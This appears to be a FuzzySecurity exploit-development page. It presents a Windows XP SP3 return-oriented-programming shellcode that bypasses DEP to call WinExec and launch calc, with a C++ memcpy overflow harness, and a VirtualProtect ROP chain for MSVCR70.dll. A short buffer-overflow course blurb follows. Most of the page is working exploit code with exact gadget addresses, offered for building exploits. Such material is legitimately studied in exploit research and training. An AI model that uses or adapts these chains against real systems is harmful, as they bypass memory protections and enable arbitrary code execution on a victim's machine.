FuzzySecurity Universal ROP-Chains / Shellcode

[Asphyxia]

Date: 01/11/2012
Name: Windows XP PRO SP3 - Full ROP calc shellcode

This is basically shellcode you could put in an exploit which will pop calc even if DEP is enabled. Take note however that it depends on the OS dll's having the same version, as different versions will have instructions loaded at different places in memory...

Public Release: Exploit-DB
Compiled Version: calc_ROP.exe

/*
    Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode
    Author: b33f (http://www.fuzzysecurity.com/)
    Notes: This is probably not the most efficient way but
           I gave the dll's a run for their money ;))
    Greets: Donato, Jahmel

    OS-DLL's used:
       Base    |    Top     |   Size     |    Version (Important!)
    ___________|____________|____________|_____________________________
    0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll]
    0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll]
    0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll]

    UINT WINAPI WinExec(            => PTR to WinExec
      __in  LPCSTR lpCmdLine,       => C:\WINDOWS\system32\calc.exe+00000000
      __in  UINT uCmdShow           => 0x1
    );
*/

#include <iostream>
#include "windows.h"

char shellcode[]=
"\xb1\x4f\x97\x7c"  // POP ECX # RETN
"\xf9\x10\x47\x7e"  // Writable PTR USER32.dll
"\x27\xfa\x87\x7c"  // POP EDX # POP EAX # RETN
"\x43\x3a\x5c\x57"  // ASCII "C:\W"
"\x49\x4e\x44\x4f"  // ASCII "INDO"
"\x04\x18\x80\x7c"  // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x57\x53\x5c\x73"  // ASCII "WS\s"
"\x38\xd6\x46\x7e"  // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x79\x73\x74\x65"  // ASCII "yste"
"\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x63\x61\x6c\x63"  // ASCII "calc"
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x6d\x33\x32\x5c"  // ASCII "m32\"
"\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x2e\x65\x78\x65"  // ASCII ".exe"
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x9e\x2e\x92\x7c"  // XOR EAX,EAX # RETN
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x7a\xeb\xc3\x6f"  // Should result in a valid PTR in kernel32.dll
"\x4f\xda\x85\x7c"  // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x32\xd9\x44\x7e"  // XCHG EAX,EDI # RETN
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//
"\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\xf5\xd6\x91\x7c"  // XOR ECX,ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xb1\x4f\x97\x7c"  // POP ECX # RETN
"\xed\x2a\x86\x7c"  // WinExec()
"\xe7\xc1\x87\x7c"  // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Final RETN for WinExec()
"\x8a\x20\x87\x7c"; // Compensate WinExec()
//------------------------------------------------------[Write Arguments and execute -> calc]-//

void buff() {
    char a;
    memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9
}
                                                                                                                       
int main()
{
    LoadLibrary("USER32.dll"); // we need this dll
    char buf[1024];
    buff();
    return 0;
}

 

[Asphyxia]

Date: 03/10/2012
Name: Universal ROP-Chain: MSVCR70.dll (v7.00.9466.0)

Public Release: Corelan ROPdb

# Tested on: XP/Win7
# Rebase : False
# ASLR : False
# Safeseh : False
# Base : 0x7c000000
# Top : 0x7c054000
# Size : 0x00054000
# Technique : kernel32.VirtualProtect()
# 30-dwords
# Author : b33f (Ruben Boonen)
                                                                                                                        
rop_gadgets =
[
    0x7c032c80, # XOR EAX,EAX # RETN
    0x7c0126bc, # XCHG EAX,EBP # ADD AL,7C # RETN
    0x7c026652, # POP ESI # RETN
    0xffffffff, # will be 0x00000000
    0x7c03063f, # INC ESI # RETN
    0x7c0358a1, # POP EAX # RETN
    0x7C0390FD, # VirtualProtect() -> ESI=0 EBP=0 -> 7c039138(VP)-3B
    0x7c023a4f, # ADD ESI,DWORD PTR DS:[EAX+EBP+3B] # RETN
    0x7c0358a1, # POP EAX # RETN
    0x83FF5E94, # neg -> 0x7c00a16c : push esp #  ret
    0x7c0167cd, # NEG EAX # RETN
    0x7c0126b7, # XCHG EAX,EBP # ADD AL,7C # RETN
    0x7c03028f, # POP EBX # RETN
    0xffffffff, # will be 0x00000000
    0x7c01cd53, # INC EBX # XOR AL,AL # RETN
    0x7c0358a1, # POP EAX # RETN
    0xFFFFFDFF, # Neg is 201-HEX (513-bytes)
    0x7c0167cd, # NEG EAX # RETN
    0x7c01561c, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
    0x7c026484, # POP EDI # RETN
    0x7c034e02, # ROP-NOP
    0x7c0358a1, # POP EAX # RETN
    0xFFFFFFC0, # NEG is 0x40
    0x7c0167cd, # NEG EAX # RETN
    0x7c026dc4, # MOV EDX,EAX # INC ECX # MOVZX EAX,BYTE PTR DS:[ECX] # ADD EAX,EDX # RETN
    0x7c034e01, # POP ECX # RETN
    0x7c049001, # lpOldProtect
    0x7c0358a1, # POP EAX # RETN
    0x90909090, # NOP
    0x7c0126b6, # PUSHAD # XCHG EAX,EBP # ADD AL,7C # RETN
].pack("V*")

Read up on attacks: https://security.stackexchange.com/questions/190467/buffer-overflow-segmentation-error-at-0x90909090

Exploiting Simple Buffer Overflows on Win32

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www.pentesteracademy.com

It is important to note that this introductory course will be looking at exploitation of buffer overflows in the absence of exploit mitigation techniques such as DEP and ASLR. We will be creating separate courses for these once we finish the basic courses.

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